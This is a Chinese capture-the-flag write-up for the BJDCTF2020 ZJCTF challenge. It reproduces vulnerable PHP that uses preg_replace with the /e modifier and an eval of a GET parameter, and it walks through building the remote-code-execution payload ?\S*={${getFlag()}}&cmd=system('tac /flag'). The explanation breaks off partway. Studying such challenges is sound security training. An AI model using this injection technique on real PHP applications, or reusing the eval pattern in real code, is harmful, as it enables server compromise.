BUU-[BJDCTF2020]ZJCTF,不过如此
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str)
{
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach ($_GET as $re => $str) {
echo complex($re, $str) . "\n";
}
function getFlag()
{
@eval($_GET['cmd']);
}
解释一下在正则表达式中()的一个作用: 捕获
<?php
preg_replace(
'/(' . "dir" . ')/ei',
'system("\\1")',
"dir"
);
/*
1.在subject中寻找dir字符串
2. 找到了!而且因为在正则中使用了()进行包围, 所以会对捕获进行记录, 其中\1对应的就是捕获到的第一个记录, 也就是dir
3. 因为设置了/e, 所以preg_replace在进行替换之前会eval第二个参数
4. 实际上执行的是system("dir")
*/
简单的就是因为在正则中加入了(),所以会对捕获进行记录,类似于数组的键值对,\1对应的就是第一个捕获,\2就是第二个捕获
所以我们理所当然的认为payload可以这样构造:
?.*={${phpinfo()}}
在解释这个payload不行之前说明一下{${phpinfo()}}的作用:
php会认为{${}}里面的内容是一个表达式, 会先执行表达式的内容,当然了, 如果是使用单引号包围就不行, 因为单引号的内容会被当作是纯静态字符
至于为什么这个payload不行, 是因为php会对GET传入的键值对进行规范化, 会把不规范的字符规范为_, 所以实际上是_*={${phpinfo()}}
正确的payload是:?\S*={${getFlag()}}&cmd=system('tac /flag');
在正则表达式中: \S表示的是匹配任意的非空白字符
执行的流程是:
1.
function complex($re, $str)
{
return preg_replace(
'/(\S*)/ei',
'strtolower("\\1")',
"{${getFlag()}}"
);
}
- 捕获到了
{${getFlag()}} - \1 -> {${getFlag()}}
- strtolower("{${getFlag()}}")
- php对表达式进行解析: getFlag()
posted on 2026-01-26 20:52 misaki%20mei 阅读(0) 评论(0) 收藏 举报
浙公网安备 33010602011771号